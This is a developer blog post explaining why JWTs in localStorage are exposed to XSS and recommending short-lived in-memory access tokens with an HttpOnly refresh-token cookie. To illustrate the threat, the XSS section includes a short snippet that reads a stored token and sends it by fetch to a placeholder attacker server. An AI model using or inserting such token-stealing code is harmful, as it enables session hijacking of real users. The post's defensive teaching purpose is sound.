Stop Putting JWTs in LocalStorage. Seriously. Here's How to Do It Right.
If you're building a web app and dropping JWTs into localStorage, you might be creating a massive security hole without even realizing it.
If you’re building a web app and dropping JWTs into localStorage
, you might be creating a massive security hole without even realizing it.
I get it. It’s the first solution you find on Stack Overflow, it’s easy, and it seems to just work. But as someone who’s spent years in the trenches of web application development, I can tell you it’s one of the most common—and dangerous—patterns out there. Today, I’m going to break down why that is and show you a much more secure, robust, and professional way to handle authentication in your React applications.
First, Why JWTs? The Flexibility Factor
Before we dive into the security FUD (Fear, Uncertainty, and Doubt), let’s remember why we love JWTs in the first place. The classic alternative is the server-side session. You log in, the server creates a session, and it sends your browser a cookie with a session ID. Every time you make a request, the browser sends the cookie, the server looks up the ID, and knows who you are.
This works great… for browsers.
But what if you also have a mobile app? Or a command-line tool? Or you want a partner company to integrate with your API? Suddenly, that cookie-based session model gets clunky. JWTs (JSON Web Tokens) solve this. They are self-contained tokens that carry user information right inside them. Any client—browser, mobile app, or script—can receive a JWT and send it back to the API in an Authorization
header. This makes your back-end beautifully stateless and agnostic to the type of client hitting it.
That flexibility is awesome. But it comes with a price if you’re not careful.
The Problem: localStorage
is a Sitting Duck for XSS
The biggest threat to any front-end application is the Cross-Site Scripting (XSS) attack. In simple terms, XSS is when an attacker manages to inject their own malicious JavaScript code into your website. This could happen through a vulnerable third-party script you’ve included or by tricking your app into rendering user-submitted content that contains a script tag.
If an attacker gets their script running on your page, it runs with the exact same permissions as your own JavaScript. This means it can do anything your code can do, including accessing the window
object.
And what’s stored on the window
object? You guessed it: localStorage
.
A single line of malicious code is all it takes:
// Malicious script's code
const stolenToken = localStorage.getItem("jwt_token");
// Now send it to the attacker's server
fetch("https://attackers-evil-server.com/steal", {
method: "POST",
body: stolenToken,
});
Game over. The attacker now has your user’s JWT and can impersonate them to make API requests, steal their data, and cause all kinds of havoc.
You might be thinking, “What about cookies? Aren’t they vulnerable too?” Yes, but cookies have a superpower: the HttpOnly
flag. When a cookie is set with HttpOnly
, you’re telling the browser, “Hey, this cookie can only be sent in HTTP requests to the server. Don’t you dare let any client-side JavaScript touch it.” This makes it invisible to document.cookie
and completely neuters the XSS attack vector for stealing it.
So, if localStorage
is bad and HttpOnly
cookies are good, should we just put the JWT in an HttpOnly
cookie? Not so fast. That basically turns our stateless JWT back into a stateful, browser-dependent session, and we lose some of the flexibility we wanted. Plus, it can open us up to Cross-Site Request Forgery (CSRF) attacks, which are as bad as XSS ones, if not handled carefully.
There has to be a better way. And there is.
The “Best of Both Worlds” Hybrid Solution
The most secure and scalable pattern I recommend for modern web apps is a hybrid approach that uses two different tokens: a short-lived Access Token and a long-lived Refresh Token.
Here’s how it works from login to logout.
1. The Login Flow
When a user successfully logs in, your back-end API generates two tokens, not one.
- The Access Token: This is a standard JWT. It contains the user’s claims (like user ID, roles, etc.) and is signed by the server. The key is that it has a very short expiry time, like 15 minutes. This token is sent back in the JSON body of the login response.
- The Refresh Token: This is a secure, random string (it doesn’t even have to be a JWT). It’s stored in your database, linked to the user, and has a long expiry time, like 7 days or more. This token is not sent in the JSON body. Instead, it’s sent back in an
HttpOnly
,Secure
,SameSite=Strict
cookie.
2. Making API Calls (The Happy Path)
Your React app gets the access token from the login response. Where does it put it? In memory. You can store it in your app’s state using Redux, Jotai, React Context, or even a simple variable in a service module. It never needs to be persisted to localStorage
.
Every time your app makes a call to a protected API endpoint, you attach this access token to the request:
Authorization: Bearer <your-short-lived-access-token>
The browser, meanwhile, will automatically and securely handle the refresh token cookie. Your React code can’t see it or touch it, which is exactly what we want.
3. Handling an Expired Access Token
After 15 minutes, the access token expires. The next time your app uses it to call the API, the server will reject it with a 401 Unauthorized
status code.
This is where the magic happens. Your API client (like Axios or a custom fetch wrapper) should have logic to intercept this specific 401
error. When it catches it, it does the following:
- It automatically makes a request to a special endpoint, like
/api/token/refresh
. - The browser sees this request and automatically attaches the
HttpOnly
refresh token cookie. No JavaScript required! - The server receives the refresh token, validates it against the database, and if it’s all good, generates a brand new, 15-minute access token. It sends this new token back in the JSON response.
- Your API client gets the new access token, updates its in-memory storage, and then—this is the crucial part—transparently retries the original API request that failed.
From the user’s perspective, there’s no interruption. They just see a loading spinner for a fraction of a second longer. They stay logged in for the full 7 days (or whatever the refresh token’s lifetime is) without ever having to re-enter their password.
Why This Pattern Rocks
This hybrid approach gives you the best of all worlds:
- Serious XSS Mitigation: The highly sensitive, long-lived refresh token is protected in an
HttpOnly
cookie, safe from JavaScript. If an attacker does manage to steal an access token via XSS, it’s only valid for a few minutes, drastically limiting the potential damage. - CSRF Protection: Your main API endpoints aren’t vulnerable to CSRF because they require the
Authorization
header, which can’t be set by a simple malicious HTML form. You only need to apply CSRF protection to the single/token/refresh
endpoint. - Fantastic User Experience: Users get the seamless “stay logged in” experience they expect, without you having to compromise on security by using a long-lived token in
localStorage
. - Total Server-Side Control: Need to forcefully log a user out? Just invalidate their refresh token in your database. The next time their 15-minute access token expires, they’ll be unable to get a new one and will be logged out for good.
It takes a little more setup than just yeeting a token into localStorage
, but the security and user experience benefits are massive. This is the pattern used by major applications, and for good reason.
So please, take that extra hour, refactor your auth flow, and give your users the security they deserve. Your future self will thank you.
💡 Need a Developer Who Gets It Done?
If this post helped solve your problem, imagine what we could build together! I'm a full-stack developer with expertise in Python, Django, Typescript, and modern web technologies. I specialize in turning complex ideas into clean, efficient solutions.